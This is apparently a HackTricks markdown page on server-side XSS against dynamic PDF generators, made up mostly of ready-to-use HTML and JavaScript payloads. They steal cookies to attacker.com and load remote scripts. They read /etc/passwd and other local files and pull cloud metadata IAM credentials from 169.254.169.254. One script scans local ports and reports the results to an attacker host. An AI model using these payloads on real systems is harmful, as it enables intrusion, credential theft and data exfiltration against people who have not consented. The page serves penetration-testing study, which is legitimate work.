189 lines
7.6 KiB
Markdown
189 lines
7.6 KiB
Markdown
# Server Side XSS (Dynamic PDF)
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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# Server Side XSS (Dynamic PDF)
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If a web page is creating a PDF using user controlled input, you can try to **trick the bot** that is creating the PDF into **executing arbitrary JS code**.\
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So, if the **PDF creator bot finds** some kind of **HTML** **tags**, it is going to **interpret** them, and you can **abuse** this behaviour to cause a **Server XSS**.
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Please, notice that the `<script><\script>` tags don't work always, so you will need a different method to execute JS (for example, abusing `<img` ).\
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Also, note that in a regular exploitation you will be **able to see/download the created pdf**, so you will be able to see everything you **write via JS** (using `document.write()` for example). But, if you **cannot see** the created PDF, you will probably need **extract the information making web request to you** (Blind).
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# Payloads
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## Discovery
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```markup
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<!-- Basic discovery, Write somthing-->
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<img src="x" onerror="document.write('test')" />
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<script>document.write(JSON.stringify(window.location))</script>
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<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
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<!--Basic blind discovery, load a resource-->
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<img src="http://attacker.com"/>
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<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
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<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
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<link rel=attachment href="http://attacker.com">
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```
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## SVG
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Any of the previous of following payloads may be used inside this SVG payload. One iframe accessing Burpcollab subdomain and another one accessing the metadata endpoint are put as examples.
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```markup
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<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
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<g>
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<foreignObject width="800" height="500">
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<body xmlns="http://www.w3.org/1999/xhtml">
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<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
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<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
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</body>
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</foreignObject>
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</g>
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</svg>
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<svg width="100%" height="100%" viewBox="0 0 100 100"
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xmlns="http://www.w3.org/2000/svg">
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<circle cx="50" cy="50" r="45" fill="green"
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id="foo"/>
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<script type="text/javascript">
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// <![CDATA[
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alert(1);
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// ]]>
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</script>
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</svg>
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```
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You can find a lot **other SVG payloads** in [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)****
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## Path disclosure
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```markup
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<!-- If the bot is accessing a file:// path, you will discover the internal path
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if not, you will at least have wich path the bot is accessing -->
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<img src="x" onerror="document.write(window.location)" />
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<script> document.write(window.location) </script>
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```
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## Load an external script
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The best conformable way to exploit this vulnerability is to abuse the vulnerability to make the bot load a script you control locally. Then, you will be able to change the payload locally and make the bot load it with the same code every time.
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```markup
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<script src="http://attacker.com/myscripts.js"></script>
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<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
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```
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## Read local file
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```markup
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<script>
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x=new XMLHttpRequest;
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x.onload=function(){document.write(btoa(this.responseText))};
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x.open("GET","file:///etc/passwd");x.send();
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</script>
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```
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```markup
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<script>
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xhzeem = new XMLHttpRequest();
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xhzeem.open("GET","file:///etc/passwd");
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xhzeem.send();
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xhzeem.onload = function(){document.write(this.responseText);}
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xhzeem.onerror = function(){document.write('failed!')}
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</script>
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```
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```markup
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<iframe src=file:///etc/passwd></iframe>
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<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
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<link rel=attachment href="file:///root/secret.txt">
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<object data="file:///etc/passwd">
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<portal src="file:///etc/passwd" id=portal>
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```
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## Get external web page response as attachment (metadata endpoints)
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```markup
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<link rel=attachment href="http://http://169.254.169.254/latest/meta-data/iam/security-credentials/">
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```
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## Bot delay
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```markup
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<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
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<script>
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let time = 500;
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setInterval(()=>{
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let img = document.createElement("img");
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img.src = `https://attacker.com/ping?time=${time}ms`;
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time += 500;
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}, 500);
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</script>
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<img src="https://attacker.com/delay">
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```
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## Port Scan
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```markup
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<!--Scan local port and receive a ping indicating which ones are found-->
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<script>
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const checkPort = (port) => {
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fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
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let img = document.createElement("img");
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img.src = `http://attacker.com/ping?port=${port}`;
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});
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}
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for(let i=0; i<1000; i++) {
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checkPort(i);
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}
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</script>
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<img src="https://attacker.com/startingScan">
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```
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## [SSRF](../ssrf-server-side-request-forgery/)
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This vulnerability can be transformed very easily in a SSRF (as you can make the script load external resources). So just try to exploit it (read some metadata?).
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# References
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{% embed url="https://lbherrera.github.io/lab/h1415-ctf-writeup.html" %}
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{% embed url="https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/" %}
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{% embed url="https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html" %}
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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|
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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|
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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